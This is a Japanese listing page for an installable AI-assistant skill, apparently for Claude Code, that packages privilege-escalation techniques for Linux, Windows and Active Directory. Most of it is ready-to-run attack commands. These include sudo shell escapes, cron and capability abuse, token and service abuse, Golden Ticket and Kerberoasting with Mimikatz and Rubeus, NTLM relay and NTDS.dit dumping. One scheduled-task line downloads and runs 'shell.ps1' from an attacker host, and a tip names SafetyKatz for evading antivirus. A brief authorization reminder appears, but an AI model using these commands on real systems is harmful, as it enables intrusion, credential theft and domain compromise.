Privilege Escalation Methods について
初期シェル取得後の Linux、Windows、Active Directory での権限昇格を扱うペネトレーションテスト向けスキルです。ローカルおよびドメイン攻撃、認証情報の収集、前提条件、痕跡の整理をまとめています。
主な機能
- 01Linux の sudo、Cron、Capabilities、NFS の悪用
- 02Windows のトークン、サービス、権限の悪用
- 03Active Directory のチケットとドメイン攻撃
- 04認証情報とハッシュの収集
- 05前提条件、トラブルシューティング、整理の指針
活用シーン
- 01Linux ホストのローカル権限昇格経路の調査
- 02Windows サービスとトークン権限のテスト
- 03Active Directory ドメイン攻撃経路の評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill privilege-escalation-methodsインストール後、Claude Code で/privilege-escalation-methodsを入力して読み込まれたか確認します。
詳細
権限昇格の手法
目的
侵害された Linux および Windows システム上で、低権限ユーザーから root/管理者アクセスへ権限を昇格させるための包括的な手法を提供します。ペネトレーションテストの侵入後フェーズおよびレッドチーム演習に不可欠です。
入力/前提条件
- 対象システムへの初期の低権限シェルアクセス
- Kali Linux またはペネトレーションテスト用ディストリビューション
- ツール: Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
- Windows/Linux の権限モデルに関する理解
- AD 攻撃の場合: ドメインユーザーの資格情報と DC へのネットワークアクセス
出力/成果物
- root または管理者のシェルアクセス
- 抽出された資格情報およびハッシュ
- 永続的アクセスの仕組み
- ドメインの侵害(AD 環境の場合)
主要な手法
Linux の権限昇格
1. sudo バイナリの悪用
GTFOBins の手法を用いて、誤設定された sudo 権限を悪用します:
# Check sudo permissions
sudo -l
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # then type: !bash
sudo man man # then type: !bash
sudo env /bin/bash
2. スケジュールタスク(Cron)の悪用
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# Wait for execution, then:
/bin/bash -p
3. ケーパビリティの悪用
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS ルートスカッシュ
# Check for NFS shares
showmount -e <victim_ip>
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. root として実行されている MySQL
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
Windows の権限昇格
1. トークンのなりすまし
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. サービスの悪用
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. SeBackupPrivilege の悪用
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. SeLoadDriverPrivilege の悪用
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. GPO の悪用
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"
Active Directory 攻撃
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket
5. スケジュールタスクを用いた Golden Ticket
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
資格情報の収集
LLMNR ポイズニング
# Start Responder
responder -I eth1 -v
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM リレー
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
VSS を用いたダンプ
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
クイックリファレンス
| 手法 | OS | ドメインの必要性 | ツール |
|---|---|---|---|
| sudo バイナリの悪用 | Linux | 不要 | GTFOBins |
| Cron ジョブの悪用 | Linux | 不要 | 手動 |
| ケーパビリティの悪用 | Linux | 不要 | getcap |
| NFS no_root_squash | Linux | 不要 | mount |
| トークンのなりすまし | Windows | 不要 | SweetPotato |
| サービスの悪用 | Windows | 不要 | PowerUp |
| Kerberoasting | Windows | 必要 | Rubeus/Impacket |
| AS-REP Roasting | Windows | 必要 | Rubeus |
| Golden Ticket | Windows | 必要 | Mimikatz |
| Pass-the-Ticket | Windows | 必要 | Rubeus |
| DCSync | Windows | 必要 | Mimikatz |
| LLMNR ポイズニング | Windows | 必要 | Responder |
制約事項
必ず行うこと:
- 権限昇格を試みる前に、初期のシェルアクセスを確保する
- 手法を選択する前に、対象の OS と環境を確認する
- ドメイン権限昇格とローカル権限昇格で適切なツールを使い分ける
行ってはならないこと:
- 承認を得ずに本番システムへ手法を試行する
- クライアントの承認なしに永続化の仕組みを残す
- 検知の仕組み(EDR、SIEM)を無視する
推奨事項:
- 悪用の前に徹底的に列挙を行う
- 成功したすべての権限昇格経路を文書化する
- 作業終了後にアーティファクトを削除する
例
例 1: Linux の sudo から root への昇格
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
例 2: Windows の Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| sudo -l がパスワードを要求する | 他の列挙手法を試す(SUID、cron、ケーパビリティ) |
| Mimikatz がアンチウイルスにブロックされる | Invoke-Mimikatz または SafetyKatz を使用する |
| Kerberoasting でハッシュが返らない | SPN を持つサービスアカウントがあるか確認する |
| トークンのなりすましが失敗する | SeImpersonatePrivilege が存在するか確認する |
| NFS マウントが失敗する | NFS バージョンの互換性を確認する (vers=2,3,4) |
追加リソース
詳細な列挙スクリプトには、以下を使用します:
- LinPEAS: Linux の権限昇格列挙
- WinPEAS: Windows の権限昇格列挙
- BloodHound: Active Directory の攻撃経路マッピング
- GTFOBins: Unix バイナリの悪用リファレンス
コメント
Markdown 対応